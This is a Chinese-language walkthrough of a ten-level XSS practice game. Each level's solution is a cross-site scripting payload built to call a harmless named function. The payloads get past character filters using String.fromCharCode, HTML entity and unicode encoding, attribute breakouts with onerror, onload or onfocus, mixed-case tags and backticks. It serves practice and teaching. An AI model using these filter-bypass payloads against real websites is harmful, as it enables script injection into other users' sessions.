Xss game WriteUp
Pratice:https://unescape-room.jobertabma.nl/

Level1
通过XSS去调用politeFunction方法并传参字符串5

直接构造最简单的payload
<script>politeFunction('5')</script>

没有过滤 直接执行

Level2
通过XSS去调用kindFunction方法并传参字符串87

输入payload
<script>kindFunction('87')</script>

发现8被过滤了 那么换一种表达方式即可
先来了解两个JS的函数
String.fromCharCode() //可将ascii码转换成对应的字符
可以用十进制 也可以用十六进制等等
charCodeAt() //将字符转换成对应的ascii码
那么就可以用String.fromCharCode()来代替表示被过滤的8
先查看8对应的ascii码也可以直接查看ascii字符代码表
得知8的ascii码为56
构造新的payload
<script>kindFunction(String.fromCharCode(56)+'7')</script>

挑战成功
Level3
通过XSS去调用tallSuperHero并传参字符串252

先使用最简单直接的payload
<script>tallSuperHero('252')</script>

发现输入的252没有显示出来 fuzz一下是过滤了什么
发现只是过滤掉了2和5 还是可以用String.fromCharCode()来进行绕过
但是2和5的ascii码都包含5
5是被过滤的 不能直接使用
稍微转换一下即可
构造payload
<script>tallSuperHero(String.fromCharCode(49+1,49+4,49+1))</script>

挑战成功
Level4
通过XSS去调用niceRobot函数并传参字符串72462
输入点为img标签的src属性值中
在img标签内也可以触发XSS,通过事件触发,常用的有onload以及onerror
那么就要先逃逸出src属性 自己构造onload或者onerror事件
构造payload:"onerror="niceRobot(72462)
发现输入的72462变成了746 fuzz一下看过滤了什么
发现2、5被过滤了 继续使用String.fromCharCode()进行绕过
"onerror="niceRobot('7'+String.fromCharCode(49+1)+'46'+String.fromCharCode(49+1))
挑战成功
Level5
通过XSS去调用niceRobot方法并传参字符串2zqu5f
输入点同样位于img标签的src属性值中

在构造payload的时候发现on被过滤了
那么通过事件去调用函数的这条路就走不通了 但是可以去闭合img标签引入script标签来调用函数
构造新的payload 2被过滤了 可以用1+1运算后为2转字符串来代替
"/><script>niceRobot((1+1).toString()+'2zqu5f')</script>

Level6
通过XSS去调用niceSuperHero并传参字符串6efexs7
输入点在input标签的value属性值中
可通过onfocus事件配合autofocus属性来触发
构造payload
"autofocus=""onfocus="niceSuperHero('6efexs7')

发现r、x被过滤了 可通过HTML实体编码来进行绕过
"autofocus=""onfocus="niceSuperHero('6efexs7')
Level7
通过XSS去调用politeRobot并传参字符串ggtnocho
跟上一关好像没什么不同
"autofocus=""onfocus="politeRobot('ggtnocho')

挑战成功
Level8
通过XSS去调用niceHuman方法并传参6gmsf3onex
输出点位于body标签中
输入payload
<img src onerror="niceHuman('6gmsf3onex')">

然后发现g、空格、u、单双引号被过滤了
经过fuzz后发现没有过滤大写的G 可以用<imG> 当然也可以换成别的标签
空格可以用斜杠/来代替分割u和g可以用实体编码来代替onerror的引号可以不用 靠浏览器来补全
函数传字符串可以用反引号来代替单双引号
最后构造出payload
<imG/src/onerror=niceHuman(`6gmsf3onex`)>

Level9
通过XSS去调用elegantFunction并传参字符串e9p0iz7ywdd
输入点在img标签的src属性值中
输入后展示出来的反转的
这个没关系 先输入正常的payload再反转即可
通过fuzz发现过滤了c、p、e构造出反转后的payload
那么通过onerror时间是不行了 但是还可以用onloadp和c可用html实体编码绕过
先构造正序的payload:
https://www.baidu.com/img/bd_logo1.ppng"onload="elegantRobot(\'e9p0iz7ywdd\')""x
反转可用python的切片语法
Payload:
x"")'ddwy7zi0p9;101#&'(toboRtnag;101#&l;101#&"=daolno"gn;211#&p.1ogol_db/gmi/mo;99#&.udiab.www//:s;211#&tth
level10
通过XSS去调用tallHuman方法并传参字符串hgiqge8X9WnK
输入点位于img标签中的src属性中
发现过滤了on那么on事件不可取 采用script标签p被过滤了 但是P没有 可以用<scriPt></scriPt>l被过滤了 可以用unicode编码 \u006c代替
构造payload
"/><scriPt>ta\u006c\u006cHuman('hgiqge8X9WnK')</scriPt>

挑战成功